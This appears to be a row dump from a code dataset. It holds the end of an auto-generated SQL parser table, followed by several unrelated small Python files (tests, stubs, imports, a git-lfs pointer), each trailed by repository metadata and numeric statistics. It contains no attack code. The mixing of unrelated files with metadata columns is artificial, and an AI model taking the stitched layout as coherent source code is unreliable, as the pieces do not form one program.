('condicion_cont -> where operacion_aritmetica not in par1 sentencia_select par2 fin_select','condicion_cont',8,'p_condicion_cont7','gramatica2.py',952),
('condicion_cont -> fin_select','condicion_cont',1,'p_condicion_cont8','gramatica2.py',970),
('fin_select -> order_by','fin_select',1,'p_fin_select','gramatica2.py',977),
('fin_select -> pyc','fin_select',1,'p_fin_select2','gramatica2.py',983),
('fin_select -> union sentencia_select','fin_select',2,'p_fin_select3','gramatica2.py',990),
('fin_select -> intersect sentencia_select','fin_select',2,'p_fin_select4','gramatica2.py',998),
('fin_select -> except sentencia_select','fin_select',2,'p_fin_select5','gramatica2.py',1006),
('lista_from -> lista_from coma identificador as identificador','lista_from',5,'p_lista_from','gramatica2.py',1014),
('lista_from -> lista_from coma identificador','lista_from',3,'p_lista_from2','gramatica2.py',1028),
('lista_from -> identificador as identificador','lista_from',3,'p_lista_from3','gramatica2.py',1038),
('lista_from -> identificador','lista_from',1,'p_lista_from4','gramatica2.py',1049),
('lista_from -> hacer_join','lista_from',1,'p_lista_from5','gramatica2.py',1056),
('lista_from -> par1 sentencia_select par2 as identificador','lista_from',5,'p_lista_from6','gramatica2.py',1062),
('lista_from -> par1 sentencia_select par2','lista_from',3,'p_lista_from7','gramatica2.py',1076),
('tipo_join -> inner join','tipo_join',2,'p_tipo_join','gramatica2.py',1086),
('tipo_join -> left join','tipo_join',2,'p_tipo_join','gramatica2.py',1087),
('tipo_join -> right join','tipo_join',2,'p_tipo_join','gramatica2.py',1088),
('tipo_join -> full join','tipo_join',2,'p_tipo_join','gramatica2.py',1089),
('tipo_join -> outer join','tipo_join',2,'p_tipo_join','gramatica2.py',1090),
('tipo_join -> join','tipo_join',1,'p_tipo_join2','gramatica2.py',1099),
('hacer_join -> identificador tipo_join identificador on operacion_logica','hacer_join',5,'p_hacer_join','gramatica2.py',1107),
('hacer_join -> identificador tipo_join identificador','hacer_join',3,'p_hacer_join2','gramatica2.py',1120),
('select_cont -> por','select_cont',1,'p_select_cont','gramatica2.py',1130),
('select_cont -> distinct lista_id','select_cont',2,'p_select_cont2','gramatica2.py',1137),
('select_cont -> lista_id','select_cont',1,'p_select_cont3','gramatica2.py',1145),
('select_cont -> sen_case','select_cont',1,'p_select_cont4','gramatica2.py',1151),
('sen_case -> case case_when','sen_case',2,'p_sen_case','gramatica2.py',1157),
('case_when -> when operacion_logica then operacion_aritmetica case_when','case_when',5,'p_case_when','gramatica2.py',1165),
('case_when -> end valor','case_when',2,'p_case_when2','gramatica2.py',1177),
('lista_id -> lista_id coma operacion_aritmetica','lista_id',3,'p_lista_id','gramatica2.py',1185),
('lista_id -> lista_id coma identificador punto identificador','lista_id',5,'p_lista_id2','gramatica2.py',1194),
('lista_id -> operacion_aritmetica','lista_id',1,'p_lista_id3','gramatica2.py',1208),
('lista_id -> identificador punto identificador','lista_id',3,'p_lista_id4','gramatica2.py',1214),
('lista_id -> substring par1 valor coma valor coma valor par2','lista_id',8,'p_lista_id5','gramatica2.py',1225),
('opciones_fecha -> extract par1 tipo_date from timestamp valor par2 pyc','opciones_fecha',8,'p_opciones_fecha','gramatica2.py',1243),
('opciones_fecha -> now par1 par2 pyc','opciones_fecha',4,'p_opciones_fecha2','gramatica2.py',1262),
('opciones_fecha -> date_part par1 valor coma interval valor par2 pyc','opciones_fecha',8,'p_opciones_fecha3','gramatica2.py',1275),
('opciones_fecha -> current_date pyc','opciones_fecha',2,'p_opciones_fecha4','gramatica2.py',1294),
('opciones_fecha -> current_time pyc','opciones_fecha',2,'p_opciones_fecha5','gramatica2.py',1303),
('opciones_fecha -> timestamp valor pyc','opciones_fecha',3,'p_opciones_fecha6','gramatica2.py',1312),
('tipo_date -> year','tipo_date',1,'p_tipo_date','gramatica2.py',1322),
('tipo_date -> month','tipo_date',1,'p_tipo_date','gramatica2.py',1323),
('tipo_date -> day','tipo_date',1,'p_tipo_date','gramatica2.py',1324),
('tipo_date -> hour','tipo_date',1,'p_tipo_date','gramatica2.py',1325),
('tipo_date -> minute','tipo_date',1,'p_tipo_date','gramatica2.py',1326),
('tipo_date -> second','tipo_date',1,'p_tipo_date','gramatica2.py',1327),
('condicion -> pyc','condicion',1,'p_condicion','gramatica2.py',1334),
('condicion -> where operacion_logica pyc','condicion',3,'p_condicion2','gramatica2.py',1341),
('condicion -> where identificador igual operacion_aritmetica pyc','condicion',5,'p_condicion3','gramatica2.py',1351),
('condicion -> where exists par1 sentencia_select par2 pyc','condicion',6,'p_condicion4','gramatica2.py',1365),
('condicion -> where operacion_aritmetica in par1 sentencia_select par2 pyc','condicion',7,'p_condicion5','gramatica2.py',1381),
('condicion -> where operacion_aritmetica not in par1 sentencia_select par2 pyc','condicion',8,'p_condicion6','gramatica2.py',1398),
('operacion_aritmetica -> operacion_aritmetica mas operacion_aritmetica','operacion_aritmetica',3,'p_op_aritmetica','gramatica2.py',1417),
('operacion_aritmetica -> operacion_aritmetica menos operacion_aritmetica','operacion_aritmetica',3,'p_op_aritmetica2','gramatica2.py',1426),
('operacion_aritmetica -> operacion_aritmetica por operacion_aritmetica','operacion_aritmetica',3,'p_op_aritmetica3','gramatica2.py',1435),
('operacion_aritmetica -> operacion_aritmetica div operacion_aritmetica','operacion_aritmetica',3,'p_op_aritmetica4','gramatica2.py',1444),
('operacion_aritmetica -> par1 operacion_aritmetica par2','operacion_aritmetica',3,'p_op_aritmetica5','gramatica2.py',1453),
('operacion_aritmetica -> valor','operacion_aritmetica',1,'p_op_aritmetica6','gramatica2.py',1463),
('operacion_aritmetica -> sum par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica7','gramatica2.py',1469),
('operacion_aritmetica -> avg par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica8','gramatica2.py',1481),
('operacion_aritmetica -> max par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica9','gramatica2.py',1493),
('operacion_aritmetica -> pi','operacion_aritmetica',1,'p_op_aritmetica10','gramatica2.py',1505),
('operacion_aritmetica -> power par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica11','gramatica2.py',1512),
('operacion_aritmetica -> sqrt par1 operacion_aritmetica par2','operacion_aritmetica',4,'p_op_aritmetica12','gramatica2.py',1524),
('operacion_aritmetica -> valor between valor','operacion_aritmetica',3,'p_op_aritmetica13','gramatica2.py',1536),
('operacion_aritmetica -> valor is distinct from valor','operacion_aritmetica',5,'p_op_aritmetica14','gramatica2.py',1545),
('operacion_aritmetica -> valor is not distinct from valor','operacion_aritmetica',6,'p_op_aritmetica15','gramatica2.py',1558),
('operacion_aritmetica -> valor is null','operacion_aritmetica',3,'p_op_aritmetica16','gramatica2.py',1573),
('operacion_aritmetica -> valor is not null','operacion_aritmetica',4,'p_op_aritmetica17','gramatica2.py',1583),
('operacion_aritmetica -> valor is true','operacion_aritmetica',3,'p_op_aritmetica18','gramatica2.py',1595),
('operacion_aritmetica -> valor is not true','operacion_aritmetica',4,'p_op_aritmetica19','gramatica2.py',1605),
('operacion_aritmetica -> valor is false','operacion_aritmetica',3,'p_op_aritmetica20','gramatica2.py',1617),
('operacion_aritmetica -> valor is not false','operacion_aritmetica',4,'p_op_aritmetica21','gramatica2.py',1627),
('operacion_relacional -> operacion_relacional mayor operacion_relacional','operacion_relacional',3,'p_op_relacional','gramatica2.py',1639),
('operacion_relacional -> operacion_relacional menor operacion_relacional','operacion_relacional',3,'p_op_relacional2','gramatica2.py',1648),
('operacion_relacional -> operacion_relacional mayorigual operacion_relacional','operacion_relacional',3,'p_op_relacional3','gramatica2.py',1657),
('operacion_relacional -> operacion_relacional menorigual operacion_relacional','operacion_relacional',3,'p_op_relacional4','gramatica2.py',1666),
('operacion_relacional -> operacion_relacional diferente operacion_relacional','operacion_relacional',3,'p_op_relacional5','gramatica2.py',1676),
('operacion_relacional -> operacion_relacional igual operacion_relacional','operacion_relacional',3,'p_op_relacional6','gramatica2.py',1685),
('operacion_relacional -> operacion_aritmetica','operacion_relacional',1,'p_op_relacional7','gramatica2.py',1694),
('operacion_logica -> operacion_logica and operacion_logica','operacion_logica',3,'p_op_logica','gramatica2.py',1700),
('operacion_logica -> operacion_logica or operacion_logica','operacion_logica',3,'p_op_logica2','gramatica2.py',1709),
('operacion_logica -> operacion_logica not operacion_logica','operacion_logica',3,'p_op_logica3','gramatica2.py',1718),
('operacion_logica -> operacion_relacional','operacion_logica',1,'p_op_logica4','gramatica2.py',1727),
('sentencia_show -> show databases show_cont','sentencia_show',3,'p_show','gramatica2.py',1732),
('show_cont -> pyc','show_cont',1,'p_show_cont','gramatica2.py',1742),
('show_cont -> ins_like pyc','show_cont',2,'p_show_cont2','gramatica2.py',1748),
('ins_like -> like porcentaje identificador porcentaje','ins_like',4,'p_ins_like','gramatica2.py',1756),
('empty -> <empty>','empty',0,'p_empty','gramatica2.py',1769),
]
| 248.364807 | 25,588 | 0.705715 | 10,584 | 57,869 | 3.750472 | 0.095616 | 0.061066 | 0.008767 | 0.011488 | 0.562917 | 0.465978 | 0.420305 | 0.372339 | 0.333216 | 0.291422 | 0 | 0.334336 | 0.046398 | 57,869 | 232 | 25,589 | 249.435345 | 0.384985 | 0.001452 | 0 | 0.009009 | 1 | 0.004505 | 0.438543 | 0.041762 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
f586e3e08cff6b7ad415d67170a0f338a8722757 | 146 | py | Python | include/tclap-1.4.0-rc1/tests/test49.py | SpaceKatt/cpp-cli-poc | 02ffefea2fc6e999fa2b27d08a8b3be6830b1b97 | [
"BSL-1.0"
] | 62 | 2021-09-21T18:58:02.000Z | 2022-03-07T02:17:43.000Z | third_party/tclap-1.4.0-rc1/tests/test49.py | Vertexwahn/FlatlandRT | 37d09fde38b25eff5f802200b43628efbd1e3198 | [
"Apache-2.0"
] | null | null | null | third_party/tclap-1.4.0-rc1/tests/test49.py | Vertexwahn/FlatlandRT | 37d09fde38b25eff5f802200b43628efbd1e3198 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
import simple_test
simple_test.test("test8", ["-s", "bbb", "homer", "marge", "bart", "--", "-hv", "two", ], expect_fail=True)
| 24.333333 | 106 | 0.59589 | 20 | 146 | 4.2 | 0.85 | 0.238095 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007692 | 0.109589 | 146 | 5 | 107 | 29.2 | 0.638462 | 0.109589 | 0 | 0 | 0 | 0 | 0.248062 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
f59103fb976a429db1bee5f1f542e403fa61365c | 81 | py | Python | circuitpython/pyportal/lib/py_conway/__init__.py | bsatrom/py-conway-examples | e21ae64428522cd1c5787ab8c9f7c621a19496eb | [
"Apache-2.0"
] | 1 | 2020-03-30T21:16:44.000Z | 2020-03-30T21:16:44.000Z | circuitpython/pyportal/lib/py_conway/__init__.py | bsatrom/py-conway-examples | e21ae64428522cd1c5787ab8c9f7c621a19496eb | [
"Apache-2.0"
] | 44 | 2020-02-20T19:23:44.000Z | 2020-03-11T20:49:59.000Z | circuitpython/pyportal/lib/py_conway/__init__.py | bsatrom/py-conway-examples | e21ae64428522cd1c5787ab8c9f7c621a19496eb | [
"Apache-2.0"
] | 1 | 2019-07-09T14:51:16.000Z | 2019-07-09T14:51:16.000Z | """__init__ Module for py-conway."""
from .game import *
from .helpers import *
| 16.2 | 36 | 0.691358 | 11 | 81 | 4.727273 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.160494 | 81 | 4 | 37 | 20.25 | 0.764706 | 0.37037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
f59ea6c72155568980f54a854c144b6c4ae9b046 | 83 | py | Python | player.py | cu2/zandagort | 81ffd6afffc3b3ec39f3a731a931475871ba2897 | [
"CC-BY-3.0"
] | 8 | 2015-01-20T15:21:52.000Z | 2020-12-29T22:11:38.000Z | player.py | cu2/zandagort | 81ffd6afffc3b3ec39f3a731a931475871ba2897 | [
"CC-BY-3.0"
] | null | null | null | player.py | cu2/zandagort | 81ffd6afffc3b3ec39f3a731a931475871ba2897 | [
"CC-BY-3.0"
] | 9 | 2015-01-16T14:35:35.000Z | 2021-03-16T16:06:55.000Z | class Player(object):
def __init__(self, name):
self._name = name
| 16.6 | 29 | 0.590361 | 10 | 83 | 4.4 | 0.7 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.301205 | 83 | 4 | 30 | 20.75 | 0.758621 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
1941fb65ac77ea37326866a68568612b92c50054 | 63 | py | Python | hcashec/edwards/testdata/decodepoint.py | tiaotiao00/HSR | 8b0cbd7998aa804a9c10fd5bd18517276910d686 | [
"0BSD"
] | 723 | 2016-01-26T21:37:00.000Z | 2022-03-21T11:12:28.000Z | hcashec/edwards/testdata/decodepoint.py | tiaotiao00/HSR | 8b0cbd7998aa804a9c10fd5bd18517276910d686 | [
"0BSD"
] | 1,355 | 2016-01-28T10:49:16.000Z | 2022-03-29T15:50:32.000Z | hcashec/edwards/testdata/decodepoint.py | tiaotiao00/HSR | 8b0cbd7998aa804a9c10fd5bd18517276910d686 | [
"0BSD"
] | 363 | 2016-01-28T03:07:48.000Z | 2022-03-15T11:55:30.000Z | import sys
from ed25519 import *
decodepointhex(sys.argv[1])
| 10.5 | 27 | 0.761905 | 9 | 63 | 5.333333 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 0.142857 | 63 | 5 | 28 | 12.6 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
1943cc5874f86b4b0daddbccc3a7efc2d015f1ec | 76 | py | Python | crystalpy/tests/polarization/MuellerDiffractionTest.py | oasys-kit/crystalpy | 4852851c622ef914844178577dea4075e92cd8dd | [
"MIT"
] | null | null | null | crystalpy/tests/polarization/MuellerDiffractionTest.py | oasys-kit/crystalpy | 4852851c622ef914844178577dea4075e92cd8dd | [
"MIT"
] | null | null | null | crystalpy/tests/polarization/MuellerDiffractionTest.py | oasys-kit/crystalpy | 4852851c622ef914844178577dea4075e92cd8dd | [
"MIT"
] | null | null | null | import unittest
class MuellerDiffractionTest(unittest.TestCase):
pass
| 12.666667 | 48 | 0.802632 | 7 | 76 | 8.714286 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144737 | 76 | 5 | 49 | 15.2 | 0.938462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 5 |
1971562bd769b73aaa24b61d0a05d393e5d48f08 | 42 | py | Python | tests/unit/__init__.py | wbarnsley/common_words | 47d0befca2d9c20a3a9748973a2a8620363a5561 | [
"Apache-2.0"
] | null | null | null | tests/unit/__init__.py | wbarnsley/common_words | 47d0befca2d9c20a3a9748973a2a8620363a5561 | [
"Apache-2.0"
] | null | null | null | tests/unit/__init__.py | wbarnsley/common_words | 47d0befca2d9c20a3a9748973a2a8620363a5561 | [
"Apache-2.0"
] | null | null | null | """Unit test init required for pytest."""
| 21 | 41 | 0.690476 | 6 | 42 | 4.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 42 | 1 | 42 | 42 | 0.805556 | 0.833333 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
199eba4748684ee433a81dc254552eff1f4b9689 | 241 | py | Python | prettyqt/widgets/styleoptionspinbox.py | phil65/PrettyQt | 26327670c46caa039c9bd15cb17a35ef5ad72e6c | [
"MIT"
] | 7 | 2019-05-01T01:34:36.000Z | 2022-03-08T02:24:14.000Z | prettyqt/widgets/styleoptionspinbox.py | phil65/PrettyQt | 26327670c46caa039c9bd15cb17a35ef5ad72e6c | [
"MIT"
] | 141 | 2019-04-16T11:22:01.000Z | 2021-04-14T15:12:36.000Z | prettyqt/widgets/styleoptionspinbox.py | phil65/PrettyQt | 26327670c46caa039c9bd15cb17a35ef5ad72e6c | [
"MIT"
] | 5 | 2019-04-17T11:48:19.000Z | 2021-11-21T10:30:19.000Z | from __future__ import annotations
from prettyqt import widgets
from prettyqt.qt import QtWidgets
QtWidgets.QStyleOptionSpinBox.__bases__ = (widgets.StyleOptionComplex,)
class StyleOptionSpinBox(QtWidgets.QStyleOptionSpinBox):
pass
| 20.083333 | 71 | 0.838174 | 23 | 241 | 8.434783 | 0.608696 | 0.123711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112033 | 241 | 11 | 72 | 21.909091 | 0.906542 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.166667 | 0.5 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 5 |
27961eb840acdb4ed5e4f45796149b30e4edcb62 | 2,186 | py | Python | venv/Lib/site-packages/numpy/typing/tests/data/reveal/ndarray_conversion.py | arnoyu-hub/COMP0016miemie | 59af664dcf190eab4f93cefb8471908717415fea | [
"MIT"
] | null | null | null | venv/Lib/site-packages/numpy/typing/tests/data/reveal/ndarray_conversion.py | arnoyu-hub/COMP0016miemie | 59af664dcf190eab4f93cefb8471908717415fea | [
"MIT"
] | null | null | null | venv/Lib/site-packages/numpy/typing/tests/data/reveal/ndarray_conversion.py | arnoyu-hub/COMP0016miemie | 59af664dcf190eab4f93cefb8471908717415fea | [
"MIT"
] | null | null | null | import numpy as np
import numpy.typing as npt
nd: npt.NDArray[np.int_] = np.array([[1, 2], [3, 4]])
# item
reveal_type(nd.item()) # E: int
reveal_type(nd.item(1)) # E: int
reveal_type(nd.item(0, 1)) # E: int
reveal_type(nd.item((0, 1))) # E: int
# tolist
reveal_type(nd.tolist()) # E: Any
# itemset does not return a value
# tostring is pretty simple
# tobytes is pretty simple
# tofile does not return a value
# dump does not return a value
# dumps is pretty simple
# astype
reveal_type(nd.astype("float")) # E: numpy.ndarray[Any, numpy.dtype[Any]]
reveal_type(nd.astype(float)) # E: numpy.ndarray[Any, numpy.dtype[Any]]
reveal_type(nd.astype(np.float64)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]]
reveal_type(nd.astype(np.float64, "K")) # E: numpy.ndarray[Any, numpy.dtype[{float64}]]
reveal_type(nd.astype(np.float64, "K", "unsafe")) # E: numpy.ndarray[Any, numpy.dtype[{float64}]]
reveal_type(nd.astype(np.float64, "K", "unsafe", True)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]]
reveal_type(nd.astype(np.float64, "K", "unsafe", True, True)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]]
# byteswap
reveal_type(nd.byteswap()) # E: numpy.ndarray[Any, numpy.dtype[{int_}]]
reveal_type(nd.byteswap(True)) # E: numpy.ndarray[Any, numpy.dtype[{int_}]]
# copy
reveal_type(nd.copy()) # E: numpy.ndarray[Any, numpy.dtype[{int_}]]
reveal_type(nd.copy("C")) # E: numpy.ndarray[Any, numpy.dtype[{int_}]]
reveal_type(nd.view()) # E: numpy.ndarray[Any, numpy.dtype[{int_}]]
reveal_type(nd.view(np.float64)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]]
reveal_type(nd.view(float)) # E: numpy.ndarray[Any, numpy.dtype[Any]]
reveal_type(nd.view(np.float64, np.matrix)) # E: numpy.matrix[Any, Any]
# getfield
reveal_type(nd.getfield("float")) # E: numpy.ndarray[Any, numpy.dtype[Any]]
reveal_type(nd.getfield(float)) # E: numpy.ndarray[Any, numpy.dtype[Any]]
reveal_type(nd.getfield(np.float64)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]]
reveal_type(nd.getfield(np.float64, 8)) # E: numpy.ndarray[Any, numpy.dtype[{float64}]]
# setflags does not return a value
# fill does not return a value
| 42.038462 | 111 | 0.682525 | 348 | 2,186 | 4.201149 | 0.146552 | 0.164159 | 0.19699 | 0.19699 | 0.787962 | 0.722982 | 0.688782 | 0.643639 | 0.618331 | 0.618331 | 0 | 0.023219 | 0.13312 | 2,186 | 51 | 112 | 42.862745 | 0.748285 | 0.509149 | 0 | 0 | 0 | 0 | 0.033571 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.074074 | 0 | 0.074074 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
279862e8723eec029920156ad700fb469a7eedd5 | 283 | py | Python | mmseg/models/distillation/__init__.py | wzpscott/SegformerDistillation | 6558757f5071251410e90270e197755860a6f41c | [
"DOC"
] | null | null | null | mmseg/models/distillation/__init__.py | wzpscott/SegformerDistillation | 6558757f5071251410e90270e197755860a6f41c | [
"DOC"
] | null | null | null | mmseg/models/distillation/__init__.py | wzpscott/SegformerDistillation | 6558757f5071251410e90270e197755860a6f41c | [
"DOC"
] | null | null | null | from .opts import Extractor, DistillationLoss,ExtractorMT,DistillationLossMT
# # from .SdModule import Sd_model
# from .losses import CriterionKD, CriterionKDMSE, CriterionMSE, VGGFeatureExtractor
__all__ = [
'Extractor', 'DistillationLoss', 'ExtractorMT','DistillationLossMT'
]
| 40.428571 | 84 | 0.80212 | 24 | 283 | 9.25 | 0.666667 | 0.225225 | 0.324324 | 0.486486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106007 | 283 | 6 | 85 | 47.166667 | 0.87747 | 0.399293 | 0 | 0 | 0 | 0 | 0.327273 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
27f564aca5e271f573041ba9de880451c0288b32 | 189 | py | Python | NBKOlympia/vuotsong/admin.py | thanhluong/NBKOlympia | ecc3b8072588feba720a96d58c6d3dc44b021871 | [
"MIT"
] | 1 | 2021-09-15T08:18:18.000Z | 2021-09-15T08:18:18.000Z | NBKOlympia/vuotsong/admin.py | thanhluong/NBKOlympia | ecc3b8072588feba720a96d58c6d3dc44b021871 | [
"MIT"
] | null | null | null | NBKOlympia/vuotsong/admin.py | thanhluong/NBKOlympia | ecc3b8072588feba720a96d58c6d3dc44b021871 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import VuotSongQuestion, VuotSongAnswer
# Register your models here.
admin.site.register(VuotSongQuestion)
admin.site.register(VuotSongAnswer) | 31.5 | 52 | 0.846561 | 22 | 189 | 7.272727 | 0.545455 | 0.1125 | 0.2125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084656 | 189 | 6 | 53 | 31.5 | 0.924855 | 0.137566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
fdcd8470c37e1b8a34d5e82e8e0619b14676c2b0 | 129 | py | Python | python-sdk/nuscenes/eval/detection/tests/test_evaluate.py | tanjiangyuan/Classification_nuScence | b94c4b0b6257fc1c048a676e3fd9e71183108d53 | [
"Apache-2.0"
] | null | null | null | python-sdk/nuscenes/eval/detection/tests/test_evaluate.py | tanjiangyuan/Classification_nuScence | b94c4b0b6257fc1c048a676e3fd9e71183108d53 | [
"Apache-2.0"
] | null | null | null | python-sdk/nuscenes/eval/detection/tests/test_evaluate.py | tanjiangyuan/Classification_nuScence | b94c4b0b6257fc1c048a676e3fd9e71183108d53 | [
"Apache-2.0"
] | null | null | null | version https://git-lfs.github.com/spec/v1
oid sha256:b1173381efc37fbf77a0e11a654f9e9db9132cd1ee83dced5410db2d6bb3fb3e
size 5749
| 32.25 | 75 | 0.883721 | 13 | 129 | 8.769231 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.341463 | 0.046512 | 129 | 3 | 76 | 43 | 0.585366 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
e31e8377d7d29e59e10e16e6f38f3f484beb99dc | 157 | py | Python | sample/example_module.py | GregHilston/example-ghilston-python-cookiecutter | 47a13ee249f156815a6dd730e01e761e5055e4b6 | [
"MIT"
] | null | null | null | sample/example_module.py | GregHilston/example-ghilston-python-cookiecutter | 47a13ee249f156815a6dd730e01e761e5055e4b6 | [
"MIT"
] | null | null | null | sample/example_module.py | GregHilston/example-ghilston-python-cookiecutter | 47a13ee249f156815a6dd730e01e761e5055e4b6 | [
"MIT"
] | null | null | null | """Example module"""
def example_function() -> str:
"""Example function
Returns:
Hard coded message
"""
return "example function"
| 14.272727 | 30 | 0.598726 | 15 | 157 | 6.2 | 0.666667 | 0.483871 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.273885 | 157 | 10 | 31 | 15.7 | 0.815789 | 0.407643 | 0 | 0 | 0 | 0 | 0.231884 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
